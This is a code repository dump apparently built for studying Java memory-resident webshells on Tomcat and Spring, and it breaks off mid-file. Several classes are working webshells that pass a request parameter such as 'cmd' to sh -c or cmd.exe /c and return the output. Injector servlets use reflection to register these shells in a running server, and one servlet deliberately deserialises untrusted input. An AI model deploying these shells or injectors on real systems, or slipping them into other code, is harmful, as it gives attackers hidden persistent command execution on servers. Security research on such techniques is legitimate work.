├── img
├── filter.png
└── servlet.png
├── agent
├── libs
│ ├── GenericAgentTools.jar
│ └── javassist-3.23.1-GA.jar
└── src
│ ├── META-INF
│ └── MANIFEST.MF
│ └── com
│ └── demo
│ └── agent
│ ├── DefineTransformer.java
│ └── Main.java
├── lib
└── java-object-searcher-0.1.0.jar
├── src
└── main
│ ├── webapp
│ └── WEB-INF
│ │ ├── index.jsp
│ │ └── web.xml
│ ├── java
│ └── cn
│ │ └── safe6
│ │ ├── servlet
│ │ ├── TestServlet.java
│ │ ├── TestServlet1.java
│ │ ├── ServletShell.java
│ │ └── ServletShell1.java
│ │ ├── action
│ │ ├── Test.java
│ │ ├── AddShellListener.java
│ │ ├── AddShellServlet.java
│ │ ├── AddShellServlet1.java
│ │ ├── AddShellWeblogicFilter.java
│ │ └── AddShellFilter.java
│ │ ├── controller
│ │ ├── interceptor
│ │ │ ├── MyInterceptor.java
│ │ │ └── ShellInterceptor.java
│ │ ├── ShellController.java
│ │ └── TestController.java
│ │ ├── filter
│ │ ├── FilterShell.java
│ │ └── MyFilter.java
│ │ └── listener
│ │ ├── ListenerShell.java
│ │ └── TestListener.java
│ └── resources
│ └── springmvc.xml
├── .gitignore
├── README.md
└── pom.xml
/img/filter.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safe6Sec/MemoryShell/HEAD/img/filter.png
--------------------------------------------------------------------------------
/img/servlet.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safe6Sec/MemoryShell/HEAD/img/servlet.png
--------------------------------------------------------------------------------
/agent/libs/GenericAgentTools.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safe6Sec/MemoryShell/HEAD/agent/libs/GenericAgentTools.jar
--------------------------------------------------------------------------------
/agent/libs/javassist-3.23.1-GA.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safe6Sec/MemoryShell/HEAD/agent/libs/javassist-3.23.1-GA.jar
--------------------------------------------------------------------------------
/lib/java-object-searcher-0.1.0.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safe6Sec/MemoryShell/HEAD/lib/java-object-searcher-0.1.0.jar
--------------------------------------------------------------------------------
/agent/src/META-INF/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Main-Class: com.demo.agent.Main
3 | Agent-Class: com.demo.agent.Main
4 | Can-Redefine-Classes: true
5 | Can-Retransform-Classes: true
6 |
7 |
--------------------------------------------------------------------------------
/src/main/webapp/WEB-INF/index.jsp:
--------------------------------------------------------------------------------
1 | <%--
2 | Created by IntelliJ IDEA.
3 | User: safe6sec
4 | Date: 2022/3/28
5 | Time: 11:18 上午
6 | To change this template use File | Settings | File Templates.
7 | --%>
8 | <%@ page contentType="text/html;charset=UTF-8" language="java" %>
9 |
10 |
11 | Title
12 |
13 |
14 |
15 | hello world!
16 |
17 |
18 |
19 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | .idea
2 |
3 | *.iml
4 |
5 | target
6 |
7 | # Compiled class file
8 | *.class
9 |
10 | # Log file
11 | *.log
12 |
13 | # BlueJ files
14 | *.ctxt
15 |
16 | # Mobile Tools for Java (J2ME)
17 | .mtj.tmp/
18 |
19 | # Package Files #
20 | #*.jar
21 | *.war
22 | *.nar
23 | *.ear
24 | *.zip
25 | *.tar.gz
26 | *.rar
27 |
28 | # virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml
29 | hs_err_pid*
30 |
31 | .DS_Store
--------------------------------------------------------------------------------
/src/main/java/cn/safe6/servlet/TestServlet.java:
--------------------------------------------------------------------------------
1 | package cn.safe6.servlet;
2 |
3 | import javax.servlet.ServletException;
4 | import javax.servlet.annotation.WebServlet;
5 | import javax.servlet.http.HttpServlet;
6 | import javax.servlet.http.HttpServletRequest;
7 | import javax.servlet.http.HttpServletResponse;
8 | import java.io.IOException;
9 |
10 | @WebServlet("/test")
11 | public class TestServlet extends HttpServlet {
12 |
13 | @Override
14 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
15 |
16 | //super.doGet(req, resp);
17 | resp.getWriter().write("test");
18 | }
19 | }
20 |
--------------------------------------------------------------------------------
/agent/src/com/demo/agent/DefineTransformer.java:
--------------------------------------------------------------------------------
1 | package com.demo.agent;
2 |
3 | import java.lang.instrument.ClassFileTransformer;
4 | import java.lang.instrument.IllegalClassFormatException;
5 | import java.security.ProtectionDomain;
6 |
7 | public class DefineTransformer implements ClassFileTransformer {
8 |
9 |
10 | @Override
11 | public byte[] transform(ClassLoader loader, String className, Class> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
12 |
13 | //有类加载就会触发
14 | //需注册inst.addTransformer(new DefineTransformer(),true);
15 | //System.out.println(className);
16 | System.out.println(11111);
17 | System.out.println("transform");
18 | String cn = "org.apache.catalina.core.ApplicationFilterChain";
19 | if (className.equals(cn)){
20 | System.out.println(cn);
21 | }
22 |
23 |
24 | return classfileBuffer;
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/src/main/java/cn/safe6/action/Test.java:
--------------------------------------------------------------------------------
1 | package cn.safe6.action;
2 |
3 | import javax.servlet.ServletException;
4 | import javax.servlet.ServletInputStream;
5 | import javax.servlet.annotation.WebServlet;
6 | import javax.servlet.http.HttpServlet;
7 | import javax.servlet.http.HttpServletRequest;
8 | import javax.servlet.http.HttpServletResponse;
9 | import java.io.IOException;
10 | import java.io.ObjectInputStream;
11 |
12 | /**
13 | *
14 | * 反序列化测试
15 | */
16 | @WebServlet("/ser")
17 | public class Test extends HttpServlet {
18 |
19 |
20 | @Override
21 | protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
22 | ServletInputStream inputStream = req.getInputStream();
23 |
24 | if (inputStream!=null){
25 | try {
26 | ObjectInputStream obs = new ObjectInputStream(inputStream);
27 | Object o = obs.readObject();
28 | o.toString();
29 | } catch (Exception e) {
30 | e.printStackTrace();
31 | }
32 |
33 | }
34 | }
35 |
36 | }
37 |
--------------------------------------------------------------------------------
/src/main/java/cn/safe6/servlet/TestServlet1.java:
--------------------------------------------------------------------------------
1 | package cn.safe6.servlet;
2 |
3 | import org.springframework.web.context.ContextLoader;
4 | import org.springframework.web.context.WebApplicationContext;
5 | import org.springframework.web.context.request.RequestContextHolder;
6 | import org.springframework.web.context.request.ServletRequestAttributes;
7 | import org.springframework.web.context.support.WebApplicationContextUtils;
8 | import org.springframework.web.servlet.support.RequestContextUtils;
9 |
10 | import javax.servlet.ServletException;
11 | import javax.servlet.annotation.WebServlet;
12 | import javax.servlet.http.HttpServlet;
13 | import javax.servlet.http.HttpServletRequest;
14 | import javax.servlet.http.HttpServletResponse;
15 | import java.io.IOException;
16 |
17 |
18 | /**
19 | * 各种方式获取上下文对象
20 | */
21 | @WebServlet("/test1")
22 | public class TestServlet1 extends HttpServlet {
23 |
24 | @Override
25 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
26 |
27 |
28 |
29 |
30 |
31 | resp.getWriter().write("test");
32 | }
33 | }
34 |
--------------------------------------------------------------------------------
/src/main/java/cn/safe6/controller/interceptor/MyInterceptor.java:
--------------------------------------------------------------------------------
1 | package cn.safe6.controller.interceptor;
2 |
3 | import org.springframework.web.servlet.HandlerInterceptor;
4 | import org.springframework.web.servlet.ModelAndView;
5 |
6 | import javax.servlet.http.HttpServletRequest;
7 | import javax.servlet.http.HttpServletResponse;
8 |
9 | public class MyInterceptor implements HandlerInterceptor {
10 |
11 | public boolean preHandle(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse, Object o)
12 | throws Exception {
13 | System.out.println("CustomInterceptor....preHandle");
14 | //对浏览器的请求进行放行处理
15 | return true;
16 | }
17 |
18 | public void postHandle(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse, Object o, ModelAndView modelAndView)
19 | throws Exception {
20 | System.out.println("CustomInterceptor....postHandle");
21 | }
22 |
23 | public void afterCompletion(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse, Object o, Exception e)
24 | throws Exception {
25 | System.out.println("CustomInterceptor....afterCompletion");
26 | }
27 | }
28 |
--------------------------------------------------------------------------------
/src/main/webapp/WEB-INF/web.xml:
--------------------------------------------------------------------------------
1 |
2 |
6 | Archetype Created Web Application
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 | springmvc
18 | org.springframework.web.servlet.DispatcherServlet
19 |
20 | contextConfigLocation
21 | classpath:springmvc.xml
22 |
23 | 1
24 |
25 |
26 |
27 | springmvc
28 | /
29 |
30 |
31 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # MemoryShell
2 | 内存马学习,持续更新。
3 |
4 |
5 | # 目录
6 |
7 | ## 文章
8 | - [java内存马分析(一) 环境搭建](https://mp.weixin.qq.com/s/4Bz6UQzC6SEnjSPC4W5fyQ)
9 | - [java内存马分析(二) Servlet内存马](https://mp.weixin.qq.com/s/VLc5TmTAuCttS_DhUSdBuw)
10 | - [java内存马分析(三) Filter内存马](https://mp.weixin.qq.com/s/OWH42PojsFGO4fHSsUJhnw)
11 | - [java内存马分析(四) Listener内存马](https://mp.weixin.qq.com/s/wNa8kR1t1KmyhItC_GmGQA)
12 | - [java内存马分析(五) weblogic注入内存马](https://mp.weixin.qq.com/s/2sxsJKwhzxJsYrcEQRZ6Yg)
13 | - [java内存马分析(六) Controller内存马](https://www.freebuf.com/articles/web/327633.html)
14 | - interceptor内存马已完成,文章待更新
15 | - agent内存马已完成,文章待更新
16 |
17 | ## servlet内存马
18 | 原理:
19 | 创建servlet马封装成wrapper,获取StandardContext使用addChild添加内存马,最后配置映射关系。
20 | 详细步骤见代码。
21 | 
22 |
23 | ## filter内存马
24 | 原理:
25 | 三个关键对象
26 | - filterMaps变量:包含所有过滤器的URL映射关系
27 | - filterDefs变量:包含所有过滤器包括实例内部等变量
28 | - filterConfigs变量:包含所有与过滤器对应的filterDef信息及过滤器实例,进行过滤器进行管理
29 |
30 | 步骤:创建filter马,然后filterDef包装,standardContext利用addFilterDef添加filterDefs,然后配置filterMap映射关系,最后filterDef加到filterConfig
31 | 详细步骤见代码。
32 | 
33 |
34 | ## listener内存马
35 | 原理:
36 | 创建listener马,获取StandardContext使用addApplicationEventListener添加内存马。
37 | 详细步骤见代码。
38 |
39 | # 挖掘思路
40 | - 通过正向添加,然后从分析上下文。找对应存储的变量,分析对象构成。然后结合反射进行动态注册。
41 | - 分析正向添加底层实现原理,然后结合反射实现动态注册。
42 |
--------------------------------------------------------------------------------
/src/main/resources/springmvc.xml:
--------------------------------------------------------------------------------
1 |
2 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
--------------------------------------------------------------------------------
/src/main/java/cn/safe6/servlet/ServletShell.java:
--------------------------------------------------------------------------------
1 | package cn.safe6.servlet;
2 |
3 | import javax.servlet.Servlet;
4 | import javax.servlet.ServletException;
5 | import javax.servlet.http.HttpServlet;
6 | import javax.servlet.http.HttpServletRequest;
7 | import javax.servlet.http.HttpServletResponse;
8 | import java.io.IOException;
9 | import java.io.InputStream;
10 | import java.util.Scanner;
11 |
12 | public class ServletShell extends HttpServlet {
13 | @Override
14 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
15 | if (req.getParameter("cmd") != null) {
16 | boolean isLinux = true;
17 | String osTyp = System.getProperty("os.name");
18 | if (osTyp != null && osTyp.toLowerCase().contains("win")) {
19 | isLinux = false;
20 | }
21 | String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
22 | InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
23 | Scanner s = new Scanner(in).useDelimiter("\\A");
24 | String output = s.hasNext() ? s.next() : "";
25 | System.out.println(output);
26 | resp.getWriter().write(output);
27 | resp.getWriter().flush();
28 | }
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/src/main/java/cn/safe6/servlet/ServletShell1.java:
--------------------------------------------------------------------------------
1 | package cn.safe6.servlet;
2 |
3 | import javax.servlet.*;
4 | import java.io.IOException;
5 | import java.io.InputStream;
6 | import java.util.Scanner;
7 |
8 | public class ServletShell1 implements Servlet {
9 | public void init(ServletConfig servletConfig) throws ServletException {
10 |
11 | }
12 |
13 | public ServletConfig getServletConfig() {
14 | return null;
15 | }
16 |
17 | public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
18 | if (servletRequest.getParameter("cmd") != null) {
19 | boolean isLinux = true;
20 | String osTyp = System.getProperty("os.name");
21 | if (osTyp != null && osTyp.toLowerCase().contains("win")) {
22 | isLinux = false;
23 | }
24 | String[] cmds = isLinux ? new String[]{"sh", "-c", servletRequest.getParameter("cmd")} : new String[]{"cmd.exe", "/c", servletRequest.getParameter("cmd")};
25 | InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
26 | Scanner s = new Scanner(in).useDelimiter("\\A");
27 | String output = s.hasNext() ? s.next() : "";
28 | System.out.println(output);
29 | servletResponse.getWriter().write(output);
30 | servletResponse.getWriter().flush();
31 | }
32 | }
33 |
34 | public String getServletInfo() {
35 | return null;
36 | }
37 |
38 | public void destroy() {
39 |
40 | }
41 | }
42 |
--------------------------------------------------------------------------------
/src/main/java/cn/safe6/filter/FilterShell.java:
--------------------------------------------------------------------------------
1 | package cn.safe6.filter;
2 |
3 | import javax.servlet.*;
4 | import javax.servlet.http.HttpServletRequest;
5 | import javax.servlet.http.HttpServletResponse;
6 | import java.io.IOException;
7 | import java.io.InputStream;
8 | import java.util.Scanner;
9 |
10 | public class FilterShell implements Filter {
11 | public void init(FilterConfig filterConfig) throws ServletException {
12 |
13 | }
14 |
15 | public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
16 | HttpServletRequest req = (HttpServletRequest) request;
17 | HttpServletResponse resp = (HttpServletResponse) response;
18 | if (req.getParameter("cmd2") != null) {
19 | boolean isLinux = true;
20 | String osTyp = System.getProperty("os.name");
21 | if (osTyp != null && osTyp.toLowerCase().contains("win")) {
22 | isLinux = false;
23 | }
24 | String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd2")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd2")};
25 | InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
26 | Scanner s = new Scanner(in).useDelimiter("\\A");
27 | String output = s.hasNext() ? s.next() : "";
28 | System.out.println(output);
29 | resp.getWriter().write(output);
30 | resp.getWriter().flush();
31 | }
32 | chain.doFilter(request, response);
33 | }
34 |
35 | public void destroy() {
36 |
37 | }
38 | }
39 |
--------------------------------------------------------------------------------
/src/main/java/cn/safe6/filter/MyFilter.java:
--------------------------------------------------------------------------------
1 | package cn.safe6.filter;
2 |
3 | import javax.servlet.*;
4 | import javax.servlet.annotation.WebFilter;
5 | import javax.servlet.http.HttpServletRequest;
6 | import javax.servlet.http.HttpServletResponse;
7 | import java.io.IOException;
8 | import java.io.InputStream;
9 | import java.util.Scanner;
10 |
11 | @WebFilter("/*")
12 | public class MyFilter implements Filter {
13 | public void destroy() {
14 | }
15 |
16 | public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
17 | HttpServletRequest req = (HttpServletRequest) request;
18 | HttpServletResponse resp = (HttpServletResponse) response;
19 | if (req.getParameter("cmd1") != null) {
20 | boolean isLinux = true;
21 | String osTyp = System.getProperty("os.name");
22 | if (osTyp != null && osTyp.toLowerCase().contains("win")) {
23 | isLinux = false;
24 | }
25 | String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd1")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd1")};
26 | InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
27 | Scanner s = new Scanner(in).useDelimiter("\\A");
28 | String output = s.hasNext() ? s.next() : "";
29 | System.out.println(output);
30 | resp.getWriter().write(output);
31 | resp.getWriter().flush();
32 | }
33 | chain.doFilter(request, response);
34 | }
35 |
36 | public void init(FilterConfig config) throws ServletException {
37 |
38 | }
39 |
40 | }
41 |
42 |
--------------------------------------------------------------------------------
/src/main/java/cn/safe6/controller/ShellController.java:
--------------------------------------------------------------------------------
1 | package cn.safe6.controller;
2 |
3 | import org.springframework.web.context.request.RequestContextHolder;
4 | import org.springframework.web.context.request.ServletRequestAttributes;
5 |
6 | import javax.servlet.http.HttpServletRequest;
7 | import javax.servlet.http.HttpServletResponse;
8 | import java.io.IOException;
9 | import java.io.InputStream;
10 | import java.io.PrintWriter;
11 | import java.util.Scanner;
12 |
13 | public class ShellController {
14 |
15 |
16 |
17 | public void exec() {
18 | // 获取request和response对象
19 | HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
20 | HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
21 | try {
22 | String arg0 = request.getParameter("code");
23 | PrintWriter writer = response.getWriter();
24 | if (arg0 != null) {
25 | String o = "";
26 | java.lang.ProcessBuilder p;
27 | if(System.getProperty("os.name").toLowerCase().contains("win")){
28 | p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
29 | }else{
30 | p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
31 | }
32 | java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
33 | o = c.hasNext() ? c.next(): o;
34 | c.close();
35 | writer.write(o);
36 | writer.flush();
37 | writer.close();
38 | }else{
39 | response.sendError(404);
40 | }
41 | }catch (Exception e){
42 | }
43 | }
44 |
45 | }
46 |
--------------------------------------------------------------------------------
/src/main/java/cn/safe6/action/AddShellListener.java:
--------------------------------------------------------------------------------
1 | package cn.safe6.action;
2 |
3 | import cn.safe6.listener.ListenerShell;
4 | import org.apache.catalina.core.ApplicationContext;
5 | import org.apache.catalina.core.StandardContext;
6 |
7 | import javax.servlet.ServletContext;
8 | import javax.servlet.ServletException;
9 | import javax.servlet.annotation.WebServlet;
10 | import javax.servlet.http.HttpServlet;
11 | import javax.servlet.http.HttpServletRequest;
12 | import javax.servlet.http.HttpServletResponse;
13 | import java.io.IOException;
14 | import java.lang.reflect.Field;
15 |
16 | /**
17 | * Listener内存马添加
18 | */
19 | @WebServlet("/add3")
20 | public class AddShellListener extends HttpServlet {
21 |
22 | @Override
23 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
24 |
25 | try {
26 | //先拿到ServletContext
27 | ServletContext servletContext = req.getServletContext();
28 | Field appctx =servletContext.getClass().getDeclaredField("context");
29 | appctx.setAccessible(true);
30 |
31 | //从ServletContext里面拿到ApplicationContext
32 | ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
33 | Field atx= applicationContext.getClass().getDeclaredField("context");
34 | atx.setAccessible(true);
35 | //从ApplicationContext里面拿到StandardContext
36 | StandardContext standardContext = (StandardContext) atx.get(applicationContext);
37 |
38 | //准备listener马
39 | ListenerShell listenerShell = new ListenerShell();
40 | //添加到上下文
41 | standardContext.addApplicationEventListener(listenerShell);
42 |
43 |
44 | resp.getWriter().write("add success!");
45 | return;
46 |
47 | } catch (Exception e) {
48 | e.printStackTrace();
49 | }
50 | resp.getWriter().write("add failed!");
51 |
52 | }
53 | }
54 |
--------------------------------------------------------------------------------
/src/main/java/cn/safe6/listener/ListenerShell.java:
--------------------------------------------------------------------------------
1 | package cn.safe6.listener;
2 |
3 | import org.apache.catalina.connector.Request;
4 | import org.apache.catalina.connector.RequestFacade;
5 | import org.apache.catalina.connector.Response;
6 |
7 | import javax.servlet.ServletRequestEvent;
8 | import javax.servlet.ServletRequestListener;
9 | import java.io.InputStream;
10 | import java.lang.reflect.Field;
11 | import java.util.Scanner;
12 |
13 | public class ListenerShell implements ServletRequestListener {
14 | public void requestDestroyed(ServletRequestEvent sre) {
15 |
16 | }
17 |
18 | public void requestInitialized(ServletRequestEvent servletRequestEvent) {
19 | try {
20 | //从上下文拿request和response
21 | RequestFacade req = (RequestFacade) servletRequestEvent.getServletRequest();
22 | Field requestField= req.getClass().getDeclaredField("request");
23 | requestField.setAccessible(true);
24 | Request request = (Request) requestField.get(req);
25 | Response resp = request.getResponse();
26 |
27 | if (req.getParameter("cmd1") != null) {
28 | boolean isLinux = true;
29 | String osTyp = System.getProperty("os.name");
30 | if (osTyp != null && osTyp.toLowerCase().contains("win")) {
31 | isLinux = false;
32 | }
33 | String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd1")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd1")};
34 | InputStream in = null;
35 | in = Runtime.getRuntime().exec(cmds).getInputStream();
36 | Scanner s = new Scanner(in).useDelimiter("\\A");
37 | String output = s.hasNext() ? s.next() : "";
38 | System.out.println(output);
39 | resp.getWriter().write(output);
40 | resp.getWriter().flush();
41 |
42 | }
43 | } catch (Exception e) {
44 | e.printStackTrace();
45 | }
46 | }
47 | }
48 |
--------------------------------------------------------------------------------
/src/main/java/cn/safe6/listener/TestListener.java:
--------------------------------------------------------------------------------
1 | package cn.safe6.listener;
2 |
3 | import org.apache.catalina.connector.Request;
4 | import org.apache.catalina.connector.RequestFacade;
5 | import org.apache.catalina.connector.Response;
6 |
7 | import javax.servlet.ServletRequestEvent;
8 | import javax.servlet.ServletRequestListener;
9 | import javax.servlet.annotation.WebListener;
10 | import java.io.InputStream;
11 | import java.lang.reflect.Field;
12 | import java.util.Scanner;
13 |
14 | @WebListener
15 | public class TestListener implements ServletRequestListener {
16 | public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
17 |
18 | }
19 |
20 | public void requestInitialized(ServletRequestEvent servletRequestEvent) {
21 | try {
22 | //从上下文拿request和response
23 | RequestFacade req = (RequestFacade) servletRequestEvent.getServletRequest();
24 | Field requestField= req.getClass().getDeclaredField("request");
25 | requestField.setAccessible(true);
26 | Request request = (Request) requestField.get(req);
27 | Response resp = request.getResponse();
28 |
29 | if (req.getParameter("cmd1") != null) {
30 | boolean isLinux = true;
31 | String osTyp = System.getProperty("os.name");
32 | if (osTyp != null && osTyp.toLowerCase().contains("win")) {
33 | isLinux = false;
34 | }
35 | String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd1")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd1")};
36 | InputStream in = null;
37 | in = Runtime.getRuntime().exec(cmds).getInputStream();
38 | Scanner s = new Scanner(in).useDelimiter("\\A");
39 | String output = s.hasNext() ? s.next() : "";
40 | System.out.println(output);
41 | resp.getWriter().write(output);
42 | resp.getWriter().flush();
43 |
44 | }
45 | } catch (Exception e) {
46 | e.printStackTrace();
47 | }
48 |
49 | }
50 | }
51 |
--------------------------------------------------------------------------------
/src/main/java/cn/safe6/action/AddShellServlet.java:
--------------------------------------------------------------------------------
1 | package cn.safe6.action;
2 |
3 | import cn.safe6.servlet.ServletShell1;
4 | import org.apache.catalina.Wrapper;
5 | import org.apache.catalina.core.ApplicationContext;
6 | import org.apache.catalina.core.StandardContext;
7 | import org.apache.catalina.core.StandardWrapper;
8 | import javax.servlet.ServletContext;
9 | import javax.servlet.ServletException;
10 | import javax.servlet.annotation.WebServlet;
11 | import javax.servlet.http.HttpServlet;
12 | import javax.servlet.http.HttpServletRequest;
13 | import javax.servlet.http.HttpServletResponse;
14 | import java.io.IOException;
15 | import java.lang.reflect.Field;
16 |
17 | /**
18 | *
19 | * ShellServlet添加
20 | */
21 | @WebServlet("/add")
22 | public class AddShellServlet extends HttpServlet {
23 |
24 | @Override
25 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
26 |
27 | try {
28 | //先拿到ServletContext
29 | ServletContext servletContext = req.getServletContext();
30 | Field appctx =servletContext.getClass().getDeclaredField("context");
31 | appctx.setAccessible(true);
32 |
33 | //从ServletContext里面拿到ApplicationContext
34 | ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
35 | Field atx= applicationContext.getClass().getDeclaredField("context");
36 | atx.setAccessible(true);
37 | //从ApplicationContext里面拿到StandardContext
38 | StandardContext standardContext = (StandardContext) atx.get(applicationContext);
39 |
40 | //准备内存马
41 | //ServletShell shell = new ServletShell();
42 | ServletShell1 shell = new ServletShell1();
43 |
44 | //用wrapper包装内存马
45 | Wrapper wrapper = new StandardWrapper();
46 | wrapper.setServlet(shell);
47 | wrapper.setName("shell");
48 | //设置加载顺序
49 | //wrapper.setLoadOnStartup(1);
50 | //设置servlet全限定名,可以不设置
51 | wrapper.setServletClass(shell.getClass().getName());
52 |
53 | //添加到标准上下文
54 | standardContext.addChild(wrapper);
55 |
56 | //添加映射关系
57 | standardContext.addServletMappingDecoded("/shell","shell");
58 |
59 | resp.getWriter().write("add success!");
60 | return;
61 | } catch (Exception e) {
62 | e.printStackTrace();
63 | }
64 | resp.getWriter().write("add failed!");
65 |
66 | }
67 | }
68 |
--------------------------------------------------------------------------------
/src/main/java/cn/safe6/controller/interceptor/ShellInterceptor.java:
--------------------------------------------------------------------------------
1 | package cn.safe6.controller.interceptor;
2 |
3 | import org.springframework.web.context.request.RequestContextHolder;
4 | import org.springframework.web.context.request.ServletRequestAttributes;
5 | import org.springframework.web.servlet.HandlerInterceptor;
6 | import org.springframework.web.servlet.ModelAndView;
7 |
8 | import javax.servlet.http.HttpServletRequest;
9 | import javax.servlet.http.HttpServletResponse;
10 | import java.io.InputStream;
11 | import java.util.Scanner;
12 |
13 | public class ShellInterceptor implements HandlerInterceptor {
14 |
15 | public boolean preHandle(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse, Object o)
16 | throws Exception {
17 | System.out.println("CustomInterceptor....preHandle");
18 | // 获取request和response对象
19 | HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
20 | HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
21 | if (request.getParameter("cmd") != null) {
22 | boolean isLinux = true;
23 | String osTyp = System.getProperty("os.name");
24 | if (osTyp != null && osTyp.toLowerCase().contains("win")) {
25 | isLinux = false;
26 | }
27 | String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
28 | InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
29 | Scanner s = new Scanner(in).useDelimiter("\\A");
30 | String output = s.hasNext() ? s.next() : "";
31 | System.out.println(output);
32 | response.getWriter().write(output);
33 | response.getWriter().flush();
34 | //Exception e=new Exception(output);
35 | //throw e;
36 | }
37 | return true;
38 | }
39 |
40 | public void postHandle(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse, Object o, ModelAndView modelAndView)
41 | throws Exception {
42 | System.out.println("CustomInterceptor....postHandle");
43 | }
44 |
45 | public void afterCompletion(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse, Object o, Exception e)
46 | throws Exception {
47 | System.out.println("CustomInterceptor....afterCompletion");
48 | }
49 | }
50 |
--------------------------------------------------------------------------------
/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | 4.0.0
5 | war
6 |
7 | MemoryShellorg.apache.maven.pluginsmaven-compiler-plugin66
8 |
9 | org.apache.maven.plugins
10 | maven-compiler-plugin
11 |
12 | 5
13 | 5
14 |
15 |
16 |
17 | org.example
18 | MemoryShell
19 | 1.0-SNAPSHOT
20 |
21 |
22 |
23 |
24 | org.springframework
25 | spring-webmvc
26 | 5.2.3.RELEASE
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 | junit
48 | junit
49 | 3.8.1
50 | test
51 |
52 |
53 |
54 | javax.servlet
55 | javax.servlet-api
56 | 3.0.1
57 | provided
58 |
59 |
60 | org.apache.tomcat.embed
61 | tomcat-embed-core
62 | 9.0.60
63 |
64 |
65 | org.javassist
66 | javassist
67 | 3.27.0-GA
68 |
69 |
70 |
71 | commons-collections
72 | commons-collections
73 | 3.1
74 |
75 |
76 |
77 |
78 |
79 |
--------------------------------------------------------------------------------
/src/main/java/cn/safe6/action/AddShellServlet1.java:
--------------------------------------------------------------------------------
1 | package cn.safe6.action;
2 |
3 | import cn.safe6.servlet.ServletShell1;
4 | import org.apache.catalina.Container;
5 | import org.apache.catalina.Wrapper;
6 | import org.apache.catalina.core.ApplicationContext;
7 | import org.apache.catalina.core.StandardContext;
8 | import org.apache.catalina.core.StandardWrapper;
9 |
10 | import javax.servlet.ServletContext;
11 | import javax.servlet.ServletException;
12 | import javax.servlet.annotation.WebServlet;
13 | import javax.servlet.http.HttpServlet;
14 | import javax.servlet.http.HttpServletRequest;
15 | import javax.servlet.http.HttpServletResponse;
16 | import java.io.IOException;
17 | import java.lang.reflect.Field;
18 | import java.lang.reflect.Modifier;
19 | import java.util.HashMap;
20 |
21 | /**
22 | * Servlet内存马添加,不用standardContext#addChild方法。全部用反射实现
23 | */
24 | @WebServlet("/add1")
25 | public class AddShellServlet1 extends HttpServlet {
26 |
27 | @Override
28 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
29 |
30 | try {
31 | //先拿到ServletContext
32 | ServletContext servletContext = req.getServletContext();
33 | Field appctx =servletContext.getClass().getDeclaredField("context");
34 | appctx.setAccessible(true);
35 |
36 | //从ServletContext里面拿到ApplicationContext
37 | ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
38 | Field atx= applicationContext.getClass().getDeclaredField("context");
